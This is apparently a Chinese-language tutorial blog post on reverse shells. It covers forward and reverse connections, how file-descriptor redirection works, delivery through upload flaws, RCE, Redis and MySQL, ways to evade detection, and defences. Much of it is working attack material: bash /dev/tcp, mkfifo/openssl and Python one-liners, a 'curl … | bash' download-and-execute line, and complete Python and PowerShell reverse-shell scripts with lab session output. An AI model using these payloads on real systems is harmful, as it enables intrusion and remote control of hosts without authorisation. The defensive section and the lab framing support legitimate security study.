浅析反弹shell
一、概念
1.什么是shell?
Shell俗称 “壳” (区别于 “核”—— 操作系统内核) 是一个命令语言解释器,Shell 是包裹在操作系统 外层 的一道程序,负责外界与 Linux “内核” 的交互,但它隐藏了操作系统底层的具体细节,就像是 Linux 内核的一个 “外壳”,所以 Shell(壳)的名称也由此而来。Shell 可以解释用户输入的命令,将其翻译为计算机可识别的二进制命令,并传递给内核执行。shell相当于应用程序与操作系统内核交互的一个接口。
问:我们使用的虚拟终端是shell吗?与shell有什么联系与区别:
1.虚拟终端只是人机交互的一个接口,提供输入输出命令的交互界面。终端的主要任务是接收用户输入的命令,并提交给 Shell。
2.Shell 是命令解析器,主要任务是翻译命令。Shell 将终端输入的命令转化成内核能够理解的语言并传递给内核,由内核执行命令,并将执行结果返回给终端。
2.shell的分类
我们平时所说的shell是一个大类,其下还有许多具体的shell程序,以下是常见的shell:
名称 | 所属系统 / 环境 | 核心特点 |
---|---|---|
Bourne Shell(sh) | 早期 Unix 系统(如 Solaris) | 最早的标准化 Shell,语法简洁,仅支持基础命令,无高级特性(如别名、历史命令) |
Bash(Bourne Again Shell) | 大多数 Linux 发行版(Ubuntu、CentOS 等)默认;macOS 曾默认(现被 zsh 替代) | 完全兼容 sh,新增历史命令(↑↓调用)、别名(alias)、函数、脚本注释等功能 |
Zsh(Z Shell) | Linux、macOS(Catalina 及以后默认)、Windows(需安装) | 兼容 bash,支持主题自定义、插件扩展(如 Oh-My-Zsh)、自动路径补全、语法高亮 |
Fish(Friendly Interactive Shell) | Linux、macOS、Windows(需安装) | 开箱即用的友好交互,无需配置即可实现自动补全、语法高亮、命令建议 |
PowerShell | Windows 默认;Linux、macOS(可安装跨平台版) | 基于 “对象模型”(非文本流),支持 .NET 框架,命令更结构化(如 Get-ChildItem 替代 ls) |
CMD(命令提示符) | Windows 传统命令行 | 仅支持基础 DOS 风格命令,功能简单,不兼容 Unix 脚本语法 |
Ksh(Korn Shell) | Unix(如 AIX、HP-UX)、Linux(可安装) | 兼容 sh 和 bash,稳定性强,支持进程控制、数学计算,适合企业级环境 |
Csh/Tcsh | Unix、Linux(可安装) | 语法类似 C 语言(如 if/for 格式),tcsh 是 csh 的增强版(支持历史命令补全) |
3.shell连接的分类
(1)正向连接
控制端先监听一个端口,被控端主动发起 TCP 连接到该端口,连接建立后,被控端将 Shell 的输入 / 输出重定向到连接,实现控制端对被控端的命令操作。
简单理解:控制端主动访问,被控端 “等” 控制端访问。正向连接表现为攻击者主动连接目标服务器开放的端口 / 接口,通过该接口获取 Shell 交互能力,我们之前学的WebShell 的常规使用就是典型的正向连接。
这里的**“等”意思是监听端口**:目标服务器上的 Web 服务会默认开启 80/443 端口,并一直 “监听” 这个端口 —— 就像商店开着门,老板在店里 “等” 顾客上门。当我们把 WebShell(如shell.php
)上传到服务器后,这个 WebShell 就成了 “隐藏在商店里的服务窗口”:它依附在 Web 服务的 80/443 端口上,和 Web 服务一起 “等” 外部发起的请求(比如shell.php?cmd=ipconfig
)。
(2)反向连接
被控端先监听端口(或主动发起连接到外网控制端),控制端主动发起连接到被控端;核心用于被控端无法被直接访问的场景(如被控端在内网、受防火墙限制),通过被控端 “主动突破” 网络限制实现通信。
简单理解:控制端 “等”,被控端 “找”。
与正向连接相反:攻击者先在自己的设备上开启一个端口(比如 4444),并用工具(如nc
命令)监听这个端口 —— 就像你(控制端)在家门口挂个牌子 “等朋友来”,守着门口不出去。比如执行命令 nc -lvp 4444
,意思是 “监听本地 4444 端口,显示连接详情,等待别人来连”—— 这就是控制端的 “等”。目标服务器可能在内网,或防火墙禁止外部主动访问它的任何端口。这时,需要让被控端主动 “找” 控制端:
攻击者先通过已有的 WebShell(比如之前上传的shell.php
),在被控端执行一条 “反弹 Shell 命令”,比如 :
<?php exec("/bin/bash -i >& /dev/tcp/192.168.61.249/4444 0>&1"); ?>
这条命令的作用是:让被控端的bash
主动发起 TCP 连接,去 “找” 控制端的 IP 和 4444 端口—— 就像朋友知道你家地址,主动上门找你。
3.什么是反弹shell?
反弹shell(reverse shell),就是控制端监听某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转发到控制端。反弹shell与telnet,ssh等标准shell对应,本质上是网络概念上的客户端与服务端的角色反转。
个人对反弹shell的理解是:
用户可以通过在shell上键入命令来达到操作主机的目的。正常情况下shell只能由主机的用户使用,但是反弹shell的目的则是将自己的shell反弹给别的主机,让别的主机可以通过shell来控制自己。在渗透中的运用就是我们让对方被迫主动交出他的主机操控权。
4.反弹shell使用的协议?
1. 核心协议:TCP
反弹 Shell 的本质是建立一个双向通信的命令交互会话—— 控制端需要向被控端发送命令,被控端需要返回执行结果,且必须保证数据传输的可靠性(命令不丢失、结果不混乱)。TCP 协议的 “面向连接”“可靠传输”(含重传机制、有序交付)特性完美适配这一需求,因此几乎 99% 以上的反弹 Shell 场景都基于 TCP 协议实现底层连接 。
示例:
- 用
nc
命令创建反弹 Shell:bash -i >& /dev/tcp/攻击端IP/端口 0>&1
,其中/dev/tcp
是 Linux 系统对 TCP 连接的抽象表示; - 各类脚本(PHP、Python 等)实现的反弹 Shell,底层均通过
socket
库创建 TCP 连接(如 Python 的socket.SOCK_STREAM
参数明确指定 TCP)。
2. 特殊场景:UDP 协议(极少用)
UDP 协议是 “无连接、不可靠” 的,无法保证命令和结果的有序性和完整性,因此几乎不用于反弹 Shell。
仅在极端特殊场景(如目标环境严格禁止 TCP 出站,但允许 UDP),可能会用 UDP 实现简易反弹,但需额外处理数据校验、重传等问题,实用性极低。
3. 应用层:无特定的专属协议,依赖现有通用的应用层协议(如 HTTP、DNS、SMTP)来传输命令和结果
TCP/UDP 是传输层协议,而反弹 Shell 在应用层没有固定协议,仅通过 “原始文本流” 交互:
- 控制端输入的命令(如
ls
)以纯文本形式通过 TCP 连接发送给被控端; - 被控端执行后的结果(如文件列表)同样以纯文本形式通过 TCP 连接返回给控制端。
这种 “无协议” 的原始交互,也是反弹 Shell 隐蔽性的体现之一(数据格式简单,不易被特征检测识别)。
5.为什么要反弹shell?
反弹 Shell 的诞生是为了解决 “控制端无法直接访问被控端” 的网络限制场景,典型如:
- 被控端处于内网(无公网 IP),控制端(公网)无法主动发起连接;
- 被控端防火墙拦截所有 “外部主动发起的入站连接”(如仅允许内部设备访问外网,禁止外部访问内部);
- 被控端端口被网络设备(如路由器)封锁,仅允许少数常用端口(如 80、443)的出站流量。
此时,传统的正向连接完全失效,必须让被控端主动发起连接到控制端(反向连接),才能突破限制。
具体场景:
1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。
2.目标主机的ip是动态改变的,不能持续控制。
3.由于防火墙等限制,目标主机只能发送请求,不能接收请求。
4.对于病毒、木马,受害者什么时候能中招、对方的网络环境是什么样的、什么时候开关机等情况都是未知的,所以建立一个服务端让恶意程序主动连接,才是最好的办法。
6.反弹shell的前提
- 网络连通性:目标机需能访问攻击者的 IP 和监听端口,TCP 连接不被防火墙等阻断。
- 目标机权限:需有命令执行权,且核心工具(如 bash、python)及网络 / 流操作功能未被禁用。
- 攻击者准备:需在指定端口启动监听程序(如 nc、socat),并确保本机允许该端口入站连接。
- 目标机环境:存在可用载体(系统工具如 nc,或脚本语言如 Python)实现连接与 shell 转发。
- 绕过安全限制:必要时需通过加密、编码等方式绕过防火墙 / IPS 的流量检测及应用层限制。
7.如何利用:
即使无法正向连接目标机(即攻击者不能主动发起对目标机的连接),仍可通过目标机主动暴露的入口或漏洞将反弹 shell 代码 / 脚本传递到目标机,核心是利用目标机 “对外的交互能力”(如 Web 服务、命令执行接口等)。常见方式如下:
- 利用 Web 应用的文件上传漏洞
若目标机运行 Web 服务(如 Apache、Nginx)且存在文件上传漏洞(如未过滤脚本后缀),可将反弹 shell 脚本(如shell.php
、reverse.jsp
)伪装成图片 / 文档上传,目标机接收并存储后,通过访问该脚本触发反弹。 - 通过远程命令执行(RCE)直接注入代码
若目标机存在 RCE 漏洞(如 Log4j、命令注入),无需上传文件,直接将反弹 shell 的单行命令(如 Python/Perl 一行代码)作为 payload 注入,目标机执行命令时自动建立反弹连接(全程无文件落地)。 - 利用目标机的下载工具拉取脚本
若目标机能访问攻击者的服务器(如通过 HTTP),可在攻击者服务器托管反弹 shell 脚本,然后通过目标机的wget
、curl
(Linux)或certutil
(Windows)等工具,让目标机主动下载并执行脚本(如curl http://攻击者IP/shell.sh | bash
)。 - 通过数据库 / 中间件写入文件
若能访问目标机的数据库(如 MySQL、MSSQL)或中间件(如 Redis),可利用其 “写入文件” 功能(如 MySQL 的into outfile
),将反弹 shell 代码写入目标机的 Web 目录或可执行路径,再触发执行。 - 借助漏洞利用工具自动投递
用 Metasploit、Exploit-DB 等工具的漏洞模块,在利用漏洞(如远程代码执行)时,自动向目标机投递反弹 shell payload(无需手动上传,工具会处理代码传递和执行)。
核心逻辑:不依赖攻击者 “推” 文件到目标机,而是让目标机通过自身的交互能力 “拉” 取或执行代码,这正是反弹 shell 绕过 “正向连接限制” 的精髓。
8.触发场景
- 目标机自动执行
当通过远程命令执行(RCE)漏洞注入单行命令(如 Python/Perl 反弹代码)、或利用计划任务(如刚学的redis写入计划任务)、系统服务配置时,脚本 / 命令会由目标机直接自动执行(无需攻击者额外操作)。例如,通过 Log4j 漏洞注入反弹命令,目标机解析漏洞时会立即执行。 - 攻击者触发目标机执行
当脚本通过文件上传(如 Webshell)、数据库写入等方式存到目标机后,需要攻击者通过目标机的交互入口(如访问 Web 脚本的 URL、触发特定功能)间接让目标机执行。例如,上传shell.php
到目标 Web 目录后,攻击者访问http://目标IP/shell.php
,目标机的 Web 服务器会执行该脚本。
9.反弹 Shell 的建立过程(基于Linux)
反弹 Shell 的建立需要 3 个关键步骤:“控制端监听端口”→“被控端发起连接”→“重定向 Shell 输入输出”
步骤 1:控制端启动端口监听(“守株待兔”)
控制端(攻击者设备)需要先 “打开一个端口并等待连接”,就像 “在门口挂个牌子,等对方上门”。
常用工具是nc
(netcat,网络瑞士军刀),命令如下:
# 控制端执行:监听6666端口(端口可自定义,建议用80/443等常用端口规避检测)
nc -lvp 6666
# -l:监听模式;-v:显示详细信息;-p:指定端口
执行后,控制端会进入 “等待连接” 状态,记录为:listening on [any] 6666 ...
┌──(root㉿kali)-[/home/ly]
└─# nc -lvp 6666
listening on [any] 6666 ...
netcat
的常用选项
┌──(root㉿kali)-[/home/ly]
└─# nc -h
[v1.10-50]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
连接到某个地址: nc [- 选项] 主机名 端口 [多个端口] ...
listen for inbound: nc -l -p port [-options] [hostname] [port]
监听入站连接: nc -l -p 端口 [- 选项] [主机名] [端口]
options:
-c shell commands as `-e'; use /bin/sh to exec [dangerous!!]
与-e` 功能类似;使用 /bin/sh 执行命令 [危险!!]
-e filename program to exec after connect [dangerous!!]
连接建立后执行指定程序 [危险!!]
-b allow broadcasts
允许发送广播包
-g gateway source-routing hop point[s], up to 8
源路由跳点(最多支持 8 个)
-G num source-routing pointer: 4, 8, 12, ...
源路由指针(值为 4、8、12 等)
-h this cruft
显示此帮助信息
-i secs delay interval for lines sent, ports scanned
发送数据行、扫描端口时的延迟间隔
-k set keepalive option on socket
为套接字设置保活选项
-l listen mode, for inbound connects
监听模式(用于接收入站连接)
-n numeric-only IP addresses, no DNS
仅使用数字 IP 地址,不进行 DNS 解析
-o file hex dump of traffic
将流量以十六进制形式转储到文件
-p port local port number
指定本地端口号
-r randomize local and remote ports
随机化本地和远程端口
-q secs quit after EOF on stdin and delay of secs
当标准输入遇到 EOF 后,延迟指定秒数再退出
-s addr local source address
指定本地源地址
-T tos set Type Of Service
设置服务类型
-t answer TELNET negotiation
响应 TELNET 协议协商
-u UDP mode
使用 UDP 模式(默认是 TCP)
-v verbose [use twice to be more verbose]
详细输出模式(使用两次可显示更详细信息)
-w secs timeout for connects and final net reads
连接和最终网络读取的超时时间
-C Send CRLF as line-ending
发送 CRLF 作为行结束符(Windows 风格换行)
-z zero-I/O mode [used for scanning]
零 I/O 模式(仅用于端口扫描,不发送实际数据)
port numbers can be individual or ranges: lo-hi [inclusive];
端口号可以是单个端口或端口范围(格式:低端口 - 高端口,包含两端);
hyphens in port names must be backslash escaped (e.g. 'ftp\-data').
端口名称中的连字符必须用反斜杠转义(例如 'ftp\-data')。
步骤 2:被控端主动发起 TCP 连接(“主动上门”)
被控端需要执行一条 “反弹命令”,主动发起 TCP 连接到控制端的 IP 和监听端口。这条命令的核心作用是:创建一个 TCP 连接,将被控端的 Shell “绑定” 到这个连接上。
以 Linux 的bash
为例,最经典的反弹命令是:
# 被控端执行:主动连接控制端,并绑定bash
[ly@localhost ~]$ bash -i >& /dev/tcp/192.168.43.131/6666 0>&1
步骤 3:重定向 Shell 输入输出(“双向通信”)
这是反弹 Shell 最核心的技术点 —— 通过文件描述符重定向,让控制端的输入能被被控端的 Shell 执行,同时被控端的执行结果能返回给控制端,形成 “输入→执行→输出” 的闭环。
先理解 Linux 的 3 个基础文件描述符:
0
(标准输入,stdin):接收用户输入的地方(如键盘输入);1
(标准输出,stdout):命令执行的正常结果输出(如ls
的文件列表);2
(标准错误,stderr):命令执行的错误信息输出(如ls xxx
的 “无此文件” 提示)。
上述反弹命令的每个部分,都是为了重定向这 3 个描述符:
bash -i
:启动交互式 bash(-i
表示 interactive),确保 bash 能接收用户输入(否则是非交互式,无法执行命令);/dev/tcp/192.168.43.131/6666
:Linux 系统的 “特殊文件”,本质是创建一个 TCP 连接到192.168.43.131:6666
(控制端的监听地址);>& /dev/tcp/...
:将标准输出(1)和标准错误(2)重定向到 TCP 连接 —— 意味着命令执行的结果(包括正常输出和错误)会通过这个连接发送给控制端;0>&1
:将标准输入(0)重定向到标准输出(1)—— 而标准输出已经被重定向到 TCP 连接,因此等价于 “将控制端的输入通过 TCP 连接传给 bash 的标准输入”。
步骤 4:建立控制会话(“远程操作”)
当被控端执行反弹命令后,控制端的nc
会显示 “连接成功”(如connect to [192.168.43.131] from ...
),此时:
┌──(root㉿kali)-[/home/ly]
└─# nc -lvp 6666
listening on [any] 6666 ...
192.168.43.81: inverse host lookup failed: Unknown host
connect to [192.168.43.131] from (UNKNOWN) [192.168.43.81] 38126
[ly@localhost ~]$
- 控制端输入任何命令(如
ls
、whoami
),会通过 TCP 连接传给被控端的bash
; - 被控端的
bash
执行命令后,结果通过 TCP 连接返回给控制端,显示在nc
窗口中。
[ly@localhost ~]$ ls
ls
Desktop
Documents
Downloads
Music
Pictures
Public
Templates
Videos
[ly@localhost ~]$ whoami
whoami
ly
[ly@localhost ~]$ ifconfig
ifconfig
ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.43.81 netmask 255.255.255.0 broadcast 192.168.43.255
inet6 2409:8962:fa0:145:c623:1bd8:affd:2422 prefixlen 64 scopeid 0x0<global>
inet6 fe80::6ede:d3c2:9e31:7de8 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:e2:ea:26 txqueuelen 1000 (Ethernet)
RX packets 438 bytes 248916 (243.0 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 363 bytes 33114 (32.3 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
至此,控制端实现了对被控端的远程命令控制,且整个过程中,控制端从未主动访问被控端,而是被控端主动连接控制端,且无感知,完美绕过了 “入站连接拦截” 的限制。
二、如何写反弹shell脚本
(1)跨语言实现:不同脚本的反弹逻辑(共性)
除了bash
,Python、PHP、Perl 等语言也能实现反弹 Shell,核心逻辑完全一致(仅语法不同):
- 创建网络连接:
被控端
主动发起 TCP 连接到控制端
的 IP 和监听端口(如192.168.1.100:4444
)。 - 重定向数据流:将被控端的 “标准输入(0)、标准输出(1)、标准错误(2)” 绑定到上一步创建的网络连接,确保控制端的输入能被 Shell 执行,执行结果能返回给控制端。
- 启动交互式 Shell:在被控端启动一个交互式 Shell(如
/bin/sh
、bash
、cmd.exe
),使其通过绑定的网络连接与控制端交互。 - 维持连接:确保连接持续有效,实现双向通信,直到主动关闭。
参考博客:反弹Shell的27种实现方法(附详细代码与原理):https://blog.csdn.net/m0_73610345/article/details/151256959?sharetype=blogdetail&sharerId=151256959&sharerefer=PC&sharesource=m0_73610345&spm=1011.2480.3001.8118
(2)示例(以python、powershell为例)
a.python版的反弹shell脚本:
(1)编写脚本
import socket
import subprocess
import threading
# Kali的IP和端口
KALI_IP = "192.168.43.131"
KALI_PORT = 80
def send_output(proc, sock):
"""将cmd的输出发送到Kali"""
while True:
output = proc.stdout.read(1024) # 读取stdout
if not output:
break
sock.send(output) # 发送到Kali
# 读取stderr(错误输出)
error = proc.stderr.read()
if error:
sock.send(error)
def main():
try:
# 1. 创建socket并连接Kali
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((KALI_IP, KALI_PORT))
print("已成功连接到控制端!")
# 2. 启动cmd.exe,通过管道绑定输入/输出/错误
proc = subprocess.Popen(
"cmd.exe", # Windows命令行
stdin=subprocess.PIPE, # 标准输入→管道
stdout=subprocess.PIPE, # 标准输出→管道
stderr=subprocess.PIPE, # 标准错误→管道
shell=True,
text=False # 二进制模式传输,避免编码问题
)
# 3. 启动线程:持续将cmd输出发送到Kali
threading.Thread(target=send_output, args=(proc, s), daemon=True).start()
# 4. 持续读取Kali发送的命令,写入cmd的输入
while True:
cmd = s.recv(1024) # 从Kali接收命令
if not cmd:
break
proc.stdin.write(cmd) # 写入cmd的输入
proc.stdin.flush() # 刷新缓冲区
except ConnectionRefusedError:
print(f"错误:无法连接到 {KALI_IP}:{KALI_PORT},请检查Kali监听")
except Exception as e:
print(f"发生错误:{str(e)}")
finally:
if 's' in locals():
s.close()
if 'proc' in locals():
proc.terminate()
if __name__ == "__main__":
main()
(2)攻击方开启端口监听
┌──(root㉿kali)-[/home/ly]
└─# nc -lvp 6666
listening on [any] 80 ...
(3)上传脚本到被攻击方,并运行脚本建立连接
PS C:\Users\L\Desktop> python shell.py
(4)连接建立成功,在攻击方终端执行系统命令
┌──(ly㉿kali)-[~]
└─$ nc -lvp 80
listening on [any] 80 ...
connect to [192.168.43.131] from LAPTOP-N5DK4S1P [192.168.43.213] 56760
whoami
ipconfig
Microsoft Windows [汾 10.0.26100.4946]
(c) Microsoft CorporationȨ
C:\Users\L\Desktop>whoami
laptop-n5dk4s1p\l
C:\Users\L\Desktop>ipconfig
Windows IP
߾ * 1:
ý״̬ . . . . . . . . . . . . : ýѶϿ
ض DNS . . . . . . . :
߾ * 2:
ý״̬ . . . . . . . . . . . . : ýѶϿ
ض DNS . . . . . . . :
̫ VMware Network Adapter VMnet1:
ض DNS . . . . . . . :
IPv6 ַ. . . . . . . . : fe80::95e0:1a0c:9dec:a800%12
IPv4 ַ . . . . . . . . . . . . : 192.168.27.1
. . . . . . . . . . . . : 255.255.255.0
b.powershell版的反弹shell脚本:
(1)编写脚本
# reverse_shell.ps1
# IP为Kali的IP,端口为Kali监听的端口
$kali_ip = "192.168.43.131"
$port = 6666
# 创建TCP连接到Kali
$client = New-Object System.Net.Sockets.TCPClient($kali_ip, $port)
$stream = $client.GetStream()
# 定义编码方式
$encoding = New-Object System.Text.ASCIIEncoding
# 循环读取Kali发送的命令并执行
while ($true) {
# 读取Kali发送的命令
[byte[]]$bytes = New-Object byte[] 1024
$i = $stream.Read($bytes, 0, $bytes.Length)
if ($i -eq 0) { break }
# 解析命令并执行
$command = $encoding.GetString($bytes, 0, $i)
$result = (Invoke-Expression $command 2>&1 | Out-String) # 执行命令并捕获结果(包括错误)
# 拼接提示符(类似PowerShell的PS C:\>)
$prompt = "PS " + (Get-Location).Path + "> "
$sendback = $result + $prompt
# 将结果发送回Kali
$sendbytes = $encoding.GetBytes($sendback)
$stream.Write($sendbytes, 0, $sendbytes.Length)
$stream.Flush()
}
# 关闭连接
$client.Close()
(2)攻击方开启端口监听
┌──(root㉿kali)-[/home/ly]
└─# nc -lvp 6666
listening on [any] 6666 ...
(3)上传脚本到被攻击方,并运行脚本建立双向连接
PS C:\Users\L\Desktop> .\shell.ps1
(4)连接建立成功,在攻击方终端执行系统命令
┌──(ly㉿kali)-[~]
└─$ nc -lvp 6666
listening on [any] 6666 ...
connect to [192.168.43.131] from LAPTOP-N5DK4S1P [192.168.43.213] 55367
whoami
laptop-n5dk4s1p\l
PS C:\Users\L\Desktop> ipconfig
Windows IP ??
???????? ????* 1:
???? . . . . . . . . . . . . : ???????
????? DNS ?? . . . . . . . :
???????? ????* 2:
???? . . . . . . . . . . . . : ???????
????? DNS ?? . . . . . . . :
?????? VMware Network Adapter VMnet1:
????? DNS ?? . . . . . . . :
???? IPv6 ??. . . . . . . . : fe80::95e0:1a0c:9dec:a800%12
IPv4 ?? . . . . . . . . . . . . : 192.168.27.1
???? . . . . . . . . . . . . : 255.255.255.0
????. . . . . . . . . . . . . :
?????? VMware Network Adapter VMnet8:
????? DNS ?? . . . . . . . :
???? IPv6 ??. . . . . . . . : fe80::7584:3cc:e8d8:d2a3%18
IPv4 ?? . . . . . . . . . . . . : 192.168.17.1
???? . . . . . . . . . . . . : 255.255.255.0
????. . . . . . . . . . . . . :
(3)自动生成反弹shell工具
1.推荐一个网站:http://tools.sbbbb.cn/shell/
2.使用奉哥的脚本工具
(4)反弹Shell攻击现状
阿里云云安全中心通过分析历史中云上环境的Linux服务器入侵事件,总结出了攻击链路中实现反弹Shell的语言及工具使用率,详情如下图所示。
三、反弹 Shell 如何规避检测?
反弹shell被杀示例:
反弹shell的分类:
第一类反弹Shell:直接重定向Shell的输入输出到Socket,例如:
这类反弹Shell的检测可以通过检测Shell的标准输入、标注输出是否被重定向到Socket或检测一些简单的主机网络日志特征来实现。
bash -i >& /dev/tcp/192.168.43.131/6666 0>&1
第二类反弹Shell:通过管道、伪终端等中转,再重定向Shell的输入输出到中转
此类反弹Shell借助管道、伪终端等进行中转,例如下面这个典型案例将sh -i
的标准输入、标准输出、标准错误重定向到命名管道/tmp/f
,同时加密通信数据也流向该命名管道。
mkfifo /tmp/f; /bin/sh -i < /tmp/f 2>&1 | openssl s_client -quiet -connect 0.0.XX.XX:666 > /tmp/f
第三类反弹Shell:编程语言实现标准输入中转,重定向命令执行的输入到中转
第三种类型反弹Shell通过编程语言实现标准输入的中转,然后重定向命令执行的输入到中转,标准输出和标准错误中转形式不限制。以下是该类型反弹Shell的典型示例:
python - c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('0.0.0.0',666))\nwhile 1: proc = subprocess.Popen(s.recv(1024), stdout=subprocess.PIPE, stderr=subprocess.PIPE,Shell=True);s.send(proc.stdout.read()+proc.stderr.read())\")"
在这种场景下,反弹Shell的命令执行和正常业务行为变得更加难以区分,对抗程度上升。
绕过检测思路:
- 端口伪装:使用 80、443等常用端口(防火墙通常放行这些端口的出站流量),让流量看起来像正常网页访问;
- 协议封装:将命令和结果封装在 HTTP、DNS 等应用层协议中(如之前提到的 “HTTP 反弹 Shell”),进一步伪装成正常业务流量;
- 无特征交互:数据以原始文本流传输,无固定协议头,难以被 IDS/IPS 的特征库识别。
- 搭建ICMP隧道:如果使用各类隧道技术(HTTP,DNS,常规正反端口转发等)操作都失败了,可以尝试进行ICMP隧道,将TCP/UDP数据封装到ICMP的ping数据包中,从而穿过防火墙(通常防火墙不会屏蔽ping数据包),实现不受限制的网络访问。
四、如何防御
(1)网络层:
1.防火墙白名单限制必要出站端口 / IP,禁止非业务端口(如 6666)出站。
2.DS/IPS 监控非标准端口连接、DNS 隧道等异常流量。
(2)主机层
1.服务 / 应用用非 root / 管理员权限运行,降低入侵影响。
2.限制 python、powershell 等程序的异常出站网络行为。
3.卸载非必需的 nc、socat 等可用于反弹的工具。
(3)应用层
1.过滤文件上传、拦截命令注入,部署 WAF 防 webshell 植入。
2.Web / 临时目录设为 “不可执行”,阻止恶意脚本运行。
(4)监控层
1.记录网络 / 进程 / 系统日志,重点盯非标准端口、陌生 IP 连接。
2.分析高频短命令交互、新进程突然连外网等异常行为。
(5)应急层
1.发现后隔离主机、杀可疑进程、清恶意文件,溯源补漏洞。